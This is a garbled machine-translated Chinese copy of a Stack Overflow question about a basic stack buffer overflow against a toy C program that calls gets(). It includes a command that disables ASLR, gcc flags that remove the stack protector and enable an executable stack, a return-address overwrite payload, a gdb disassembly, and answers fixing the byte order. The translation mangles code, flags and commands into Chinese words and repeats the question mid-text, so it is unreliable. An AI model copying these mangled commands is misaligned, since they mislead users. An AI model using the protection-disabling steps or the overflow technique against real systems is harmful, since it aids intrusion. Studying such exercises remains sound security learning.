Linux上C中的现代堆栈溢出(stack smash)漏洞?
简而言之,我想通过在堆栈上执行所需的地址来实现一个简单的、真正基本的利用 为此,我做了一些研究: linux上的Disable随机化保护: echo 0>/proc/sys/kernel/randomize\u va\u空间 编译时在gcc上启用stack exec gcc overflow.c-o overflow-mprefered stack boundary=4-fno stack protector-ggdb-z execstack-static 最后创建源代码、gdb和漏洞 无效返回\输入无效{ 字符数组[30]; 格萨雷; printf%s\n,数组; } int main{ 返回输入; 返回1; } 而且漏洞利用非常简单 printf aaaaaaaa bbbbbbbb cccccc 1234567\x40\x10\x5e |/溢出 这是考虑到gdb上的匹配地址 最后。我知道这个漏洞应该有用。但是我得到了以下错误 16199非法硬件指令内核转储/溢出 我知道该漏洞试图在我传递的地址上实际执行函数。不管它是如何工作的,在系统Linux 14.04 LTS上有某种保护,但我不知道它是什么 有人知道如何克服这个非法的硬件指令内核吗 仅供参考,这是我尝试利用的函数的Gdb disas:Linux上C中的现代堆栈溢出(stack smash)漏洞?,c,linux,stack-overflow,exploit,stack-smash,C,Linux,Stack Overflow,Exploit,Stack Smash,简而言之,我想通过在堆栈上执行所需的地址来实现一个简单的、真正基本的利用 为此,我做了一些研究: linux上的Disable随机化保护: echo 0>/proc/sys/kernel/randomize\u va\u空间 编译时在gcc上启用stack exec gcc overflow.c-o overflow-mprefered stack boundary=4-fno stack protector-ggdb-z execstack-static 最后创建源代码、gdb和漏洞 无效返
(gdb) disas return_input
Dump of assembler code for function return_input():
0x000000000040105e <+0>: push %rbp
0x000000000040105f <+1>: mov %rsp,%rbp
0x0000000000401062 <+4>: sub $0x20,%rsp
0x0000000000401066 <+8>: lea -0x20(%rbp),%rax
0x000000000040106a <+12>: mov %rax,%rdi
0x000000000040106d <+15>: callq 0x408650 <gets>
0x0000000000401072 <+20>: lea -0x20(%rbp),%rax
0x0000000000401076 <+24>: mov %rax,%rdi
0x0000000000401079 <+27>: callq 0x408840 <puts>
0x000000000040107e <+32>: leaveq
0x000000000040107f <+33>: retq
End of assembler dump.
请改为尝试\x5e\x10\x40。x86是。我一直收到这个非法的硬件指令核心转储消息,这应该是对操作系统的某种保护,可能是我禁用的。不,这可能只是因为你在一个有效地址登录,内容无法转换为合法指令。您仍然需要将较高的位归零,这样它就不会从较高地址位中的现有堆栈数据中获取随机位。无论如何,您可以使用GDB查看到底发生了什么。感谢@m0skit0提供的见解,您在检查GDB后是对的,我没有将地址驱动到堆栈上的正确寄存器中。最好的